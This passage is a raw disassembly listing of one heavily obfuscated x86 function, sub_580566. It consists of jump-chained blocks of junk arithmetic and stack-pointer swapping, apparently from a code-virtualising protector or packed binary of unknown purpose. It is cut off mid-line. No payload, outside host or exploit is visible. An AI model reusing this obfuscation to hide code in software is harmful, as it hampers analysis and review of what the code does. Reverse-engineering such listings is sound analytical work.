loc_587919: ; CODE XREF: sub_580566+D901j not ebx and ebx, 5CDE4679h push ebp mov ebp, 1879508Fh xor ebx, ebp pop ebp xor esi, ebx pop ebx xor esi, 30F54F8Dh or edi, esi pop esi xor edi, 0D3B05013h mov eax, edi pop edi sub eax, 1 xor eax, 63E01292h jmp loc_588E49 ; --------------------------------------------------------------------------- loc_58794E: ; DATA XREF: sub_580566+3EB2o mov eax, [esp-30h+arg_28] push ebp mov ebp, esp add ebp, 4 jmp loc_58BDB8 ; --------------------------------------------------------------------------- loc_58795F: ; CODE XREF: sub_580566+EC74j mov ebx, 1782235Dh or ebx, 3D52691Ch sub ebx, 251327C7h add ebx, 0FFFFFFFFh not ebx add ebx, 7D0F9990h add eax, ebx mov ebx, [esp-2Ch+arg_24] add esp, 4 push edx push 77A3h mov [esp-28h+arg_20], eax mov eax, 5124021Ch jmp loc_58DDF5 ; --------------------------------------------------------------------------- loc_587996: ; CODE XREF: sub_580566+FEC1j push 9A0h mov [esp-24h+arg_1A+2], edi mov edi, 2473329Eh sub edx, edi pop edi add edx, ebp add edx, 2473329Eh pop ebp mov ecx, [edx] pop edx pop ebx sub esp, 4 mov [esp-30h+arg_28], ebp push 5D9h mov [esp-2Ch+arg_24], edi xor [esp-2Ch+arg_24], 6F4A026Bh jmp loc_58C4FA ; --------------------------------------------------------------------------- loc_5879D0: ; CODE XREF: sub_580566+5CBEj not eax not eax xor eax, 44C0CB44h add esi, eax pop eax pop ebx pop edx jmp loc_589C56 ; --------------------------------------------------------------------------- loc_5879E3: ; CODE XREF: sub_580566+603Aj mov edx, [esp-20h+arg_16+2] push esi mov esi, esp jmp loc_5898D2 ; --------------------------------------------------------------------------- loc_5879EE: ; CODE XREF: sub_580566+7FEAj add eax, ebx pop ebx add eax, 4 jmp loc_588F46 ; --------------------------------------------------------------------------- loc_5879FB: ; CODE XREF: sub_580566+CB78j not [esp-20h+arg_16+2] pop edi xor edi, 4EF94097h not edi jmp loc_58897F ; --------------------------------------------------------------------------- loc_587A0C: ; CODE XREF: sub_580566+5A6Cj add esp, 4 push 63F6h jmp loc_589D79 ; --------------------------------------------------------------------------- loc_587A1C: ; CODE XREF: sub_580566+FF87j pop edx and ch, bh pop bx push edx push ebx jmp loc_5855F5 ; --------------------------------------------------------------------------- loc_587A28: ; CODE XREF: sub_580566+9830j sub esi, ebp mov ebp, [esp-0Ah+arg_4+2] jmp loc_58F34E ; --------------------------------------------------------------------------- loc_587A32: ; CODE XREF: sub_580566+BCECj mov eax, esp add eax, 4 jmp loc_58BEDB ; --------------------------------------------------------------------------- loc_587A3E: ; CODE XREF: sub_580566+E4B9j pop esp sub dh, 93h xor dh, ah xor ah, dh xor dh, ah sub ah, 1 xchg ah, dh add dh, 41h xor al, dh jmp loc_58D114 ; --------------------------------------------------------------------------- loc_587A57: ; DATA XREF: sub_580566+3CEAo mov cx, word ptr [esp-0Ch+arg_8] push ebp mov ebp, esp add ebp, 4 push esi mov esi, 39245B35h dec esi sub esi, 56506044h shr esi, 8 push ebp mov ebp, 1 jmp loc_58B7E1 ; --------------------------------------------------------------------------- loc_587A7F: ; CODE XREF: sub_580566+91D9j add ecx, 4 xchg ecx, [esp+0] pop esp jmp loc_586E89 ; --------------------------------------------------------------------------- loc_587A8E: ; CODE XREF: sub_580566+42ADj push ecx mov ecx, 3C4924AEh mov edx, 8798A3E2h sub edx, ecx pop ecx sub eax, edx pop edx add eax, 3A6D5A0Fh push 43D0h mov [esp-2Eh+arg_24+2], ecx mov ecx, 24E2506Ah sub esp, 4 mov [esp-2Ah+arg_20+2], ebx push ebp mov ebp, 45C63B3Eh dec ebp dec ebp shl ebp, 4 push ebp not [esp-22h+arg_1A] jmp loc_587E9E ; --------------------------------------------------------------------------- loc_587ACE: ; CODE XREF: sub_580566+7B7Ej mov edx, 1A1768h push eax mov eax, 5E94827h sub edx, 5127284Fh sub edx, eax add edx, 5127284Fh pop eax shr edx, 4 dec edx xor edx, 68900BBBh add edx, 0F96472Ch jmp loc_586A04 ; --------------------------------------------------------------------------- loc_587AFD: ; CODE XREF: sub_580566+F363j pop esi not eax xor eax, 3C0E2508h or eax, 4A39061Bh jmp loc_58D145 ; --------------------------------------------------------------------------- loc_587B0F: ; CODE XREF: sub_580566+9F0Ej mov ebp, 85D6F14h jmp loc_58B661 ; --------------------------------------------------------------------------- loc_587B19: ; CODE XREF: sub_580566+920Dj push ecx jmp loc_58962F ; --------------------------------------------------------------------------- loc_587B1F: ; CODE XREF: sub_580566+7B32j sub esp, 4 jmp loc_585D84 ; --------------------------------------------------------------------------- loc_587B27: ; CODE XREF: sub_580566+45DDj pop eax push edi push ebp mov ebp, 4501701h not ebp push ebx mov ebx, 555D00F6h or ebp, ebx pop ebx jmp loc_58C8AE ; --------------------------------------------------------------------------- loc_587B3F: ; CODE XREF: sub_580566+100A8j add ebp, 6C2961DCh pop edx jmp loc_5906EA ; --------------------------------------------------------------------------- loc_587B4B: ; CODE XREF: sub_580566+CA2Fj shr edx, 3 push esi mov esi, 7E88586Ah add esi, 6F7805DAh xor esi, 98C15C87h jmp loc_5905EC ; --------------------------------------------------------------------------- loc_587B65: ; CODE XREF: sub_580566+7DFDj push eax jmp loc_58BF0B ; --------------------------------------------------------------------------- loc_587B6B: ; CODE XREF: sub_580566+DC82j push ebx mov bh, 97h add bh, 0ADh jmp loc_58E257 ; --------------------------------------------------------------------------- loc_587B76: ; CODE XREF: sub_580566+4498j mov esi, 4 add [esp-28h+arg_24], esi pop esi pop edx add edx, 4 jmp loc_58B74F ; --------------------------------------------------------------------------- loc_587B8C: ; DATA XREF: sub_580566+3EC2o mov cx, word ptr [esp-30h+arg_28] jmp loc_58A051 ; --------------------------------------------------------------------------- loc_587B95: ; CODE XREF: sub_580566+8A5Bj mov [esp-30h+arg_28], eax push esp mov eax, [esp-2Ch+arg_24] add esp, 4 jmp loc_587C42 ; --------------------------------------------------------------------------- loc_587BA4: ; CODE XREF: sub_580566+A011j pop cx inc dh dec dh jmp loc_587459 ; --------------------------------------------------------------------------- loc_587BAF: ; CODE XREF: sub_580566+87BFj mov ebx, 4 jmp loc_584E1B ; --------------------------------------------------------------------------- loc_587BB9: ; CODE XREF: sub_580566+4E5Bj mov ebp, 722461F7h mov ebx, 766C7D7Eh xor ebx, ebp pop ebp not ebx xor ebx, 7B76601Eh add ebx, 8A110828h sub edx, 488A74C7h add edx, ebx add edx, 488A74C7h jmp loc_58895C ; --------------------------------------------------------------------------- loc_587BE7: ; CODE XREF: sub_580566+E145j pop edx push esi jmp loc_58D402 ; --------------------------------------------------------------------------- loc_587BEE: ; CODE XREF: sub_580566+7CDBj pop ebp add esp, 4 sub [edi+24h], ecx pop ecx loc_587BF9: ; CODE XREF: sub_580566+53CDj push 3B23h jmp loc_58AA12 ; --------------------------------------------------------------------------- loc_587C03: ; CODE XREF: sub_580566+F335j xor ecx, 1A4BADC6h add eax, ecx pop ecx pop ecx push 2BFBh mov [esp-20h+arg_16+2], edi mov edi, 55A01CC5h push edx jmp loc_585A54 ; --------------------------------------------------------------------------- loc_587C20: ; CODE XREF: sub_580566+6A2Ej and ebx, eax pop eax not ebx shr ebx, 4 xor ebx, 0EF77AF8h push ebx push ecx mov ecx, 77194729h jmp loc_5895F5 ; --------------------------------------------------------------------------- loc_587C3A: ; CODE XREF: sub_580566+D43Cj shl ch, 7 jmp loc_5882CA ; --------------------------------------------------------------------------- loc_587C42: ; CODE XREF: sub_580566+7639j add eax, 4 sub eax, 4 xchg eax, [esp-30h+arg_28] pop esp jmp loc_586610 ; --------------------------------------------------------------------------- loc_587C55: ; CODE XREF: sub_580566+4873j mov ch, 2Dh jmp loc_58D9A0 ; --------------------------------------------------------------------------- loc_587C5C: ; CODE XREF: sub_580566+5750j not ebx shr ebx, 3 push eax jmp loc_586F8F ; --------------------------------------------------------------------------- loc_587C67: ; CODE XREF: sub_580566+4955j push [esp-20h+arg_16+2] pop ecx push ebx mov ebx, esp add ebx, 4 jmp loc_585731 ; --------------------------------------------------------------------------- loc_587C79: ; CODE XREF: sub_580566+B2C6j mov esp, [esp-1Ch+arg_12+2] jmp loc_58A439 ; --------------------------------------------------------------------------- loc_587C81: ; CODE XREF: sub_580566+D47Fj sub cl, 98h add bl, cl pop ecx add bl, 58h add bl, ah sub bl, 58h sub bl, 0A8h push [esp-20h+arg_16+2] pop eax jmp loc_58EE6A ; --------------------------------------------------------------------------- loc_587C9B: ; CODE XREF: sub_580566+6AFAj mov edx, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], edi push ecx push 165F1FD0h pop ecx neg ecx shr ecx, 1 sub ecx, 2FA138B4h add ecx, 292022FEh mov edi, ecx jmp loc_588085 ; --------------------------------------------------------------------------- loc_587CC8: ; CODE XREF: sub_580566+4D75j push dword ptr [esp+4] pop ecx pop [esp+2+var_4+2] pop esp jmp loc_5905A8 ; --------------------------------------------------------------------------- loc_587CD6: ; CODE XREF: sub_580566+CCB8j add ebp, ebx jmp loc_58D2A8 ; --------------------------------------------------------------------------- loc_587CDD: ; CODE XREF: sub_580566+F002j pop bp push eax mov eax, esp add eax, 4 jmp loc_584717 ; --------------------------------------------------------------------------- loc_587CEC: ; CODE XREF: sub_580566+70FDj mov [esp-2Ch+arg_24], esi push ebp push edi mov edi, esp add edi, 4 jmp loc_58FF7F ; --------------------------------------------------------------------------- loc_587CFE: ; CODE XREF: sub_580566+82C3j mov ebx, 4 push ebp mov ebp, 408826BCh add edx, ebp pop ebp sub edx, 79042320h sub edx, ebx add edx, 79042320h jmp loc_58BC08 ; --------------------------------------------------------------------------- loc_587D1F: ; CODE XREF: sub_580566+4852j push edx jmp loc_585D25 ; --------------------------------------------------------------------------- loc_587D25: ; CODE XREF: sub_580566+E261j mov ecx, 65065045h sub ecx, 2FF93922h or ecx, 4BEC66DAh or ecx, 48D1763Bh add ecx, 0F435A6D4h add [esp-14h+arg_E+2], 48C12319h sub [esp-14h+arg_E+2], ecx jmp loc_58E3CA ; --------------------------------------------------------------------------- loc_587D53: ; CODE XREF: sub_580566+CDE3j pop edx sub al, 0ADh add al, ch add al, 0ADh jmp loc_584FF7 ; --------------------------------------------------------------------------- loc_587D5F: ; DATA XREF: sub_580566+3D32o mov cx, word ptr [esp-30h+arg_28] sub esp, 4 jmp loc_58ADCC ; --------------------------------------------------------------------------- loc_587D6E: ; CODE XREF: sub_580566+60D3j xor esi, 46C10A4Ah xor esi, 13710DA4h sub esi, 48134A39h not esi shl esi, 4 xor esi, 45724ED1h add eax, esi pop esi add eax, esi sub eax, 33724341h mov esi, [esp+8+var_8] jmp loc_5847EE ; --------------------------------------------------------------------------- loc_587D9D: ; CODE XREF: sub_580566+4E51j shl ebx, 4 sub ebx, 0F8E2465Eh mov edi, ebx pop ebx jmp loc_58C243 ; --------------------------------------------------------------------------- loc_587DAE: ; CODE XREF: sub_580566+6F91j pop ebx jmp loc_585899 ; --------------------------------------------------------------------------- loc_587DB4: ; CODE XREF: sub_580566+C30Bj push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp-22h+arg_1A] pop esp mov [esp+0], eax push 50441F6Eh pop eax add eax, 0AFBBE093h push eax push esi mov esi, 1DE83071h add [esp-1Eh+arg_1A], esi pop esi pop edx sub edx, 1DE83071h mov eax, [esp+0] add esp, 4 and eax, edx push [esp-2Ah+arg_20+2] mov edx, [esp+0] add esp, 4 push ecx jmp loc_5884DC ; --------------------------------------------------------------------------- loc_587E02: ; CODE XREF: sub_580566+52BDj push ebp jmp loc_58A503 ; --------------------------------------------------------------------------- loc_587E08: ; CODE XREF: sub_580566+F3D2j push 0 sub [esp-1Eh+arg_16], esi jmp loc_58A2BB ; --------------------------------------------------------------------------- loc_587E15: ; CODE XREF: sub_580566+B04Dj mov [esp-1Eh+arg_16], ecx push ebp push 27EB2EA7h jmp loc_5844E2 ; --------------------------------------------------------------------------- loc_587E23: ; CODE XREF: sub_580566+DD36j add [esp-16h+arg_12], esi pop esi pop ebp sub esp, 4 mov [esp-1Ah+arg_12], eax mov eax, 4 add ebp, 11E02A7Dh add ebp, eax sub ebp, 11E02A7Dh pop eax jmp loc_58D11E ; --------------------------------------------------------------------------- loc_587E48: ; CODE XREF: sub_580566+4C7Aj pop esp rol word ptr [esp+0], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_587E53: ; CODE XREF: sub_580566+7DE2j pop ecx add ecx, edi pop edi add ecx, 4 xchg ecx, [esp-0Ah+arg_4+2] pop esp sub edx, 92A3E89h add edx, eax add edx, 92A3E89h add edx, 4C3C49E1h jmp loc_584473 ; --------------------------------------------------------------------------- loc_587E7A: ; CODE XREF: sub_580566+AA16j push 7FF1h mov [esp-0Ah+arg_4+2], ecx push 23FB6300h jmp loc_58CA08 ; --------------------------------------------------------------------------- loc_587E8C: ; CODE XREF: sub_580566+4DF1j mov [esp+0Ah+var_C+2], ebp mov ebp, 8C694Bh sub [esp+0Ah+var_8+2], ebp pop ebp jmp loc_584473 ; --------------------------------------------------------------------------- loc_587E9E: ; CODE XREF: sub_580566+7563j pop ebp shr ebp, 6 add ebp, 0FD718ED0h mov ebx, ebp pop ebp jmp loc_585C1F ; --------------------------------------------------------------------------- loc_587EB0: ; CODE XREF: sub_580566+7274j mov bh, 0FDh jmp loc_589094 ; --------------------------------------------------------------------------- loc_587EB7: ; CODE XREF: sub_580566+CBBCj push [esp+8+var_4] jmp loc_587ECB ; --------------------------------------------------------------------------- loc_587EC0: ; CODE XREF: sub_580566+6B3Dj push eax mov eax, 8122AB04h jmp loc_584D88 ; --------------------------------------------------------------------------- loc_587ECB: ; CODE XREF: sub_580566+7955j mov ebp, [esp+0Ch+var_C] add esp, 4 jmp loc_58E27B ; --------------------------------------------------------------------------- loc_587ED9: ; CODE XREF: sub_580566+8F57j add ebp, esi pop esi xchg ebp, [esp+4+var_4] pop esp mov ax, [esp+0] push 1DD2h mov [esp+4+var_4], esi push 2991h mov [esp+8+var_8], esp add [esp+8+var_8], 4 jmp loc_586B1D ; --------------------------------------------------------------------------- loc_587F00: ; CODE XREF: sub_580566+B1E4j mov [esp+8+var_8], esi push eax mov eax, 22156FF7h xor eax, 22156FF5h jmp loc_58CDCC ; --------------------------------------------------------------------------- loc_587F13: ; CODE XREF: sub_580566+D6CDj pop eax shl cl, 4 jmp loc_588A51 ; --------------------------------------------------------------------------- loc_587F1C: ; CODE XREF: sub_580566+87FFj push 6C29h mov [esp+0Ch+var_C], eax sub esp, 4 jmp loc_58A6F9 ; --------------------------------------------------------------------------- loc_587F2F: ; CODE XREF: sub_580566+EFB9j push [esp+10h+var_10] pop ecx add esp, 4 sub esp, 4 mov [esp+10h+var_10], edi mov edi, 55443B84h or edi, 3D110D91h shr edi, 2 add edi, 0E0AAB01Dh sub esi, edi pop edi jmp loc_58D58D ; --------------------------------------------------------------------------- loc_587F58: ; CODE XREF: sub_580566+69CCj xchg ecx, ebp add ebp, 805B6801h sub edi, ebp mov ebp, [esp+14h+var_14] add esp, 4 xor edi, 5FA03077h push esi mov esi, 18605BCEh or edi, esi mov esi, [esp+14h+var_14] add esp, 4 sub edi, 0BD745BCAh add ebx, edi pop edi add ebx, 4 push 1886h mov [esp+10h+var_10], ebx push [esp+10h+var_C] pop ebx pop [esp+10h+var_10] pop esp mov eax, [esp+8+var_8] sub esp, 4 mov [esp+0Ch+var_C], edi mov edi, esp add edi, 4 jmp loc_585DB5 ; --------------------------------------------------------------------------- loc_587FB2: ; CODE XREF: sub_580566+8E75j add eax, edx add eax, 14521D8Eh push 828h mov [esp+10h+var_10], ebp mov ebp, 512D1F80h shl ebp, 7 xor ebp, 5D1873D6h shl ebp, 3 add ebp, 0F118C676h sub eax, ebp pop ebp pop edx push ecx mov ecx, 482A74FCh shl ecx, 8 sub ecx, 0D502920h sub esp, 4 mov [esp+10h+var_10], edx mov edx, 0 jmp loc_58ED8A ; --------------------------------------------------------------------------- loc_587FFB: ; CODE XREF: sub_580566+72A4j mov bl, 5Eh add al, 83h push 7447h mov [esp+0], ebx mov bl, 18h not bl xor bl, 1Bh sub bl, 4Ah xor bl, 0E2h jmp loc_584DCE ; --------------------------------------------------------------------------- loc_588019: ; CODE XREF: sub_580566+851Dj sub al, bl sub al, 0D4h jmp loc_58A0F5 ; --------------------------------------------------------------------------- loc_588022: ; CODE XREF: sub_580566+FD76j add esp, 4 add eax, 4 add eax, 4 jmp loc_58506C ; --------------------------------------------------------------------------- loc_588037: ; CODE XREF: sub_580566+9290j push esi mov esi, esp push edi mov edi, 4 add esi, edi mov edi, [esp+4+var_4] jmp loc_58CE29 ; --------------------------------------------------------------------------- loc_58804A: ; CODE XREF: sub_580566+EF7Cj pop esp push ebx mov ebx, 50490557h and edi, ebx pop ebx xor edi, 7E8C6572h sub ebx, edi pop edi sub ebx, eax add ebx, 6E8C6162h pop dword ptr [eax] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58806C: ; CODE XREF: sub_580566+6E02j xchg ecx, [esp-30h+arg_28] mov esp, [esp-30h+arg_28] btr word ptr [esp-30h+arg_28], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58807D: ; CODE XREF: sub_580566+C231j add esp, 4 jmp loc_58B829 ; --------------------------------------------------------------------------- loc_588085: ; CODE XREF: sub_580566+775Dj pop ecx push edx mov edx, 86A4245h inc edx jmp loc_584F59 ; --------------------------------------------------------------------------- loc_588092: ; CODE XREF: sub_580566+CB90j xor ebx, ebp pop ebp add eax, ebx pop ebx jmp loc_587B1F ; --------------------------------------------------------------------------- loc_58809D: ; CODE XREF: sub_580566+EC61j xor edi, 62E4518Ah sub esp, 4 mov [esp+0], ebx mov ebx, 3E396A68h sub ebx, 39F139C3h shr ebx, 7 jmp loc_58E666 ; --------------------------------------------------------------------------- loc_5880BF: ; CODE XREF: sub_580566+6676j shl ebp, 6 jmp loc_58EC6C ; --------------------------------------------------------------------------- loc_5880C7: ; CODE XREF: sub_580566+7BC2j pop ebx xor eax, [esp-14h+arg_A+2] xor [esp-14h+arg_A+2], eax xor eax, [esp-14h+arg_A+2] mov esp, [esp-14h+arg_A+2] shr [esp-14h+arg_A+2], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_5880DD: ; CODE XREF: sub_580566+9754j sub ebp, 0FDB7CC43h push edx jmp loc_587ACE ; --------------------------------------------------------------------------- loc_5880E9: ; CODE XREF: sub_580566+5E15j add edx, 0F0548C7h add edx, esi sub edx, 0F0548C7h pop esi add edx, 4 xchg edx, [esp-20h+arg_16+2] pop esp pop [esp-24h+arg_1A+2] mov eax, [esp-28h+arg_20] add esp, 4 push 61D7h mov [esp-28h+arg_20], ebx push ecx push ebp mov ebp, 19D562C0h mov ecx, 547A6650h xor ecx, ebp jmp loc_585E69 ; --------------------------------------------------------------------------- loc_588123: ; CODE XREF: sub_580566+D6ABj sub eax, 63321A6Ah jmp loc_5880C7 ; --------------------------------------------------------------------------- loc_58812D: ; CODE XREF: sub_580566+ACBCj pop ebx jmp loc_58B5B8 ; --------------------------------------------------------------------------- loc_588133: ; CODE XREF: sub_580566+88F0j add ecx, 3E8D0C76h pop eax add ecx, 4 xchg ecx, [esp-28h+arg_20] mov esp, [esp-28h+arg_20] idiv ecx push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_586DBE ; --------------------------------------------------------------------------- loc_588159: ; DATA XREF: sub_580566+3E6Eo mov ax, word ptr [esp-30h+arg_28] push 3298h mov [esp-2Ch+arg_24], esi push esp pop esi add esi, 4 push ecx jmp loc_590249 ; --------------------------------------------------------------------------- loc_588173: ; CODE XREF: sub_580566+DDAFj push ebx push 3C35h mov [esp-20h+arg_16+2], esp add [esp-20h+arg_16+2], 4 jmp loc_58A51B ; --------------------------------------------------------------------------- loc_588185: ; CODE XREF: sub_580566+E608j push edx mov edx, 191E7479h mov edi, 3B208B34h sub edi, edx pop edx xor edi, 6E696AF3h sub edi, 0F683618Ah mov ebx, edi pop edi xor ebx, 26C75D4Eh jmp loc_5851FD ; --------------------------------------------------------------------------- loc_5881AD: ; CODE XREF: sub_580566+9E11j sub edx, 4 xchg edx, [esp-24h+arg_1A+2] jmp loc_58D36A ; --------------------------------------------------------------------------- loc_5881BB: ; CODE XREF: sub_580566+3F38j mov ecx, ebx push dword ptr [esp+0] pop ebx add esp, 4 jmp loc_5886BE ; --------------------------------------------------------------------------- loc_5881C9: ; CODE XREF: sub_580566+E176j sub al, cl mov ecx, [esp-14h+arg_A+2] add esp, 4 mov cl, al pop eax sub cl, ah pop eax and al, cl pop cx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-1Eh+arg_16] pop esp mov [esp-22h+arg_1A], edx jmp loc_588819 ; --------------------------------------------------------------------------- loc_5881F9: ; CODE XREF: sub_580566+58DEj mov esi, 0DDA9F764h sub eax, esi pop esi jmp loc_58ED83 ; --------------------------------------------------------------------------- loc_588206: ; CODE XREF: sub_580566+7FFDj add ch, 0EDh pop eax shr ch, 3 sub ch, 3Fh push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_58B157 ; --------------------------------------------------------------------------- loc_588221: ; CODE XREF: sub_580566+9111j add bh, 9Ah add al, 0A8h sub al, bh jmp loc_58A496 ; --------------------------------------------------------------------------- loc_58822D: ; CODE XREF: sub_580566+4DBCj add edi, 4 xor edi, [esp+0Ah+var_C+2] xor [esp+0Ah+var_C+2], edi xor edi, [esp+0Ah+var_C+2] mov esp, [esp+0Ah+var_C+2] xor ecx, ebp push [esp+0Ah+var_C+2] jmp loc_587BEE ; --------------------------------------------------------------------------- loc_588246: ; CODE XREF: sub_580566+C644j sub ax, bx mov bx, word ptr [esp+0Eh+var_10+2] push eax mov eax, esp add eax, 4 jmp loc_58DC58 ; --------------------------------------------------------------------------- loc_58825A: ; CODE XREF: sub_580566+B81Aj or edx, 45C6FC6h push eax jmp loc_58F8AB ; --------------------------------------------------------------------------- loc_588266: ; DATA XREF: sub_580566+3E66o lodsd push 2C64h mov [esp-2Ch+arg_24], edx mov edx, 2F7E68BBh jmp loc_58C4F1 ; --------------------------------------------------------------------------- loc_588279: ; CODE XREF: sub_580566+594Fj add esp, 4 pop ecx loc_588280: ; CODE XREF: sub_580566+651Dj sub esp, 4 jmp loc_585091 ; --------------------------------------------------------------------------- loc_58828B: ; CODE XREF: sub_580566+DB26j mov ebx, [esp-1Ch+arg_12+2] add esp, 4 sub [esp-20h+arg_1A+2], eax pop eax sub [esp-24h+arg_1A+2], eax push 3BDFh mov [esp-20h+arg_16+2], eax mov eax, 7BAB52F7h push edi mov edi, 498A4540h add [esp-1Ch+arg_1A+2], edi jmp loc_58FD3A ; --------------------------------------------------------------------------- loc_5882B8: ; CODE XREF: sub_580566+9927j pop eax mov ecx, [esp-20h+arg_16+2] add esp, 4 loc_5882C2: ; CODE XREF: sub_580566+E1DCj push ebp mov ebp, ebx jmp loc_58F8C1 ; --------------------------------------------------------------------------- loc_5882CA: ; CODE XREF: sub_580566+76D7j sub ch, 0FAh xor ch, 85h sub al, ch pop ecx pop ebx jmp loc_5898DD ; --------------------------------------------------------------------------- loc_5882D9: ; CODE XREF: sub_580566+10002j xor esi, edi push edi xchg ecx, [esp-14h+arg_A+2] not ecx xchg ecx, [esp-14h+arg_A+2] pop edi xchg edi, esi and esi, 50B15A0Fh sub esi, 1200h mov edx, esi pop esi push edx xor [esp-18h+arg_E+2], 4BF1828h pop ecx xor ecx, 4BF1828h jmp loc_586521 ; --------------------------------------------------------------------------- loc_58830A: ; CODE XREF: sub_580566+61D0j sub [esp-3Eh+arg_3C+2], ecx sub [esp-3Eh+arg_3C+2], 0F854E0Dh jmp loc_585DE5 ; --------------------------------------------------------------------------- loc_58831B: ; CODE XREF: sub_580566+C298j sub esi, 4 jmp loc_58FB94 ; --------------------------------------------------------------------------- loc_588323: ; CODE XREF: sub_580566+4844j push esi mov esi, 4 jmp loc_58DB6C ; --------------------------------------------------------------------------- loc_58832E: ; CODE XREF: sub_580566+10179j pop cx push 5198h jmp loc_587804 ; --------------------------------------------------------------------------- loc_58833A: ; CODE XREF: sub_580566+60A5j add ecx, 725148D8h xor ecx, 0AA829817h xor edi, ecx jmp loc_587E53 ; --------------------------------------------------------------------------- loc_58834D: ; CODE XREF: sub_580566+E15Fj shr cl, 5 sub cl, 0B7h add cl, 0D6h mov bh, cl pop ecx neg bh not bh add bh, 9Fh push ecx mov cl, bh jmp loc_587B65 ; --------------------------------------------------------------------------- loc_588368: ; CODE XREF: sub_580566+642Cj push 7147h mov [esp-28h+arg_20], ebx push 444Ch mov [esp-24h+arg_1A+2], edi mov edi, 74A226A6h jmp loc_585706 ; --------------------------------------------------------------------------- loc_588382: ; CODE XREF: sub_580566+EB78j add esp, 4 add bl, cl pop ecx add bl, al push ecx mov cl, 0E0h jmp loc_584857 ; --------------------------------------------------------------------------- loc_588392: ; CODE XREF: sub_580566+5726j sub esp, 4 mov [esp-22h+arg_1A], ecx jmp loc_58B861 ; --------------------------------------------------------------------------- loc_5883A0: ; CODE XREF: sub_580566+448Fj push ecx push ebp mov ebp, 11333B91h mov ecx, 20C46A09h xor ecx, ebp pop ebp or edi, ecx pop ecx shl edi, 1 sub edi, 102070Ah and edi, 182B300Dh sub edi, 0E4F3F3A2h add ecx, edi mov edi, [esp-28h+arg_20] add esp, 4 push ebp push 711614CFh mov ebp, [esp-24h+arg_1A+2] jmp loc_587878 ; --------------------------------------------------------------------------- loc_5883DF: ; CODE XREF: sub_580566+7EE9j mov ecx, [esp-24h+arg_1A+2] add esp, 4 push edi mov edi, 4E3931C1h jmp loc_5846D2 ; --------------------------------------------------------------------------- loc_5883F0: ; CODE XREF: sub_580566+92CAj push 7C3Dh mov [esp-20h+arg_16+2], esp add [esp-20h+arg_16+2], 4 jmp loc_58777A ; --------------------------------------------------------------------------- loc_588404: ; CODE XREF: sub_580566+A375j mov eax, [esp-20h+arg_16+2] push edx mov edx, esp jmp loc_589C18 ; --------------------------------------------------------------------------- loc_58840F: ; DATA XREF: sub_580566+3C5Eo push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp+0], cl pushf jmp loc_5889C6 ; --------------------------------------------------------------------------- loc_58841E: ; CODE XREF: sub_580566+A47Bj sub edx, 786B36AEh jmp loc_589119 ; --------------------------------------------------------------------------- loc_588429: ; CODE XREF: sub_580566+BB03j mov ecx, 2C546457h push esi mov esi, 4B655FE8h jmp loc_58736D ; --------------------------------------------------------------------------- loc_588439: ; CODE XREF: sub_580566+B6EBj xor ecx, 91C39CB9h push edx mov edx, 28B5FCC3h add ecx, edx mov edx, [esp+6+var_8+2] add esp, 4 add eax, ecx jmp loc_5883DF ; --------------------------------------------------------------------------- loc_588454: ; CODE XREF: sub_580566+5853j mov [esp+0], edi mov edi, 27017490h sub edi, 0FFFFFFFFh jmp loc_584CD7 ; --------------------------------------------------------------------------- loc_588467: ; CODE XREF: sub_580566+E053j add eax, 455F2E8Ah mov [eax], ebx pop eax jmp loc_58EA5A ; --------------------------------------------------------------------------- loc_588474: ; CODE XREF: sub_580566+AE04j xor ecx, eax pop eax or [edi+1Ch], ecx push [esp-8+arg_4] pop ecx add esp, 4 jmp loc_584473 ; --------------------------------------------------------------------------- push [esp-0Ch+arg_8] mov eax, [esp-8+arg_4] push edi mov edi, esp add edi, 4 push ebp jmp loc_589551 ; --------------------------------------------------------------------------- loc_58849B: ; CODE XREF: sub_580566+D6EDj add bl, al add bl, 4Dh jmp loc_58A747 ; --------------------------------------------------------------------------- loc_5884A5: ; CODE XREF: sub_580566+A3D8j mov ebp, [esp+0] add esp, 4 jmp loc_58CDD8 ; --------------------------------------------------------------------------- loc_5884B3: ; CODE XREF: sub_580566+DD10j mov ecx, esp add ecx, 4 push edx jmp loc_58CB48 ; --------------------------------------------------------------------------- loc_5884C1: ; CODE XREF: sub_580566+4E87j push esp push [esp+4+var_4] pop ebp push 3648h jmp loc_58495D ; --------------------------------------------------------------------------- loc_5884D0: ; CODE XREF: sub_580566+D766j push [esp+8+var_8] pop ecx add esp, 4 jmp loc_5903AC ; --------------------------------------------------------------------------- loc_5884DC: ; CODE XREF: sub_580566+7897j mov ecx, esp add ecx, 4 jmp loc_58E3B7 ; --------------------------------------------------------------------------- loc_5884E9: ; CODE XREF: sub_580566+476Cj mov edi, 0AC7159A1h add ecx, edi pop edi jmp loc_58E395 ; --------------------------------------------------------------------------- loc_5884F6: ; CODE XREF: sub_580566+E333j push ebp push esp pop ebp add ebp, 4 jmp loc_585BA1 ; --------------------------------------------------------------------------- loc_588504: ; CODE XREF: sub_580566+BE55j pop ebx add al, cl sub al, 58h mov cx, word ptr [esp-20h+arg_16+2] push eax mov eax, esp add eax, 4 add eax, 2 xchg eax, [esp-1Ch+arg_12+2] pop esp push 409Ah jmp loc_588C24 ; --------------------------------------------------------------------------- loc_588528: ; CODE XREF: sub_580566+E4C4j push ebx mov ebx, 6F10444Fh or ecx, ebx pop ebx push edi mov edi, 90CEBB01h add ecx, edi pop edi mov [edi+20h], ecx pop ecx loc_58853E: ; CODE XREF: sub_580566+B479j ; sub_580566:loc_58C803j push [esp-20h+arg_16+2] pop ebx jmp loc_5868F4 ; --------------------------------------------------------------------------- loc_588547: ; CODE XREF: sub_580566+595Bj or ebx, edi pop edi sub ebx, 0F6DCDD72h jmp loc_5879EE ; --------------------------------------------------------------------------- loc_588555: ; CODE XREF: sub_580566+B3F7j mov ah, 0C1h mov bl, ah jmp loc_58BBA7 ; --------------------------------------------------------------------------- loc_58855E: ; CODE XREF: sub_580566+C276j sub ch, ah sub ch, 21h jmp loc_588206 ; --------------------------------------------------------------------------- loc_588568: ; CODE XREF: sub_580566+9650j push ebx push ebp jmp loc_58526A ; --------------------------------------------------------------------------- loc_58856F: ; CODE 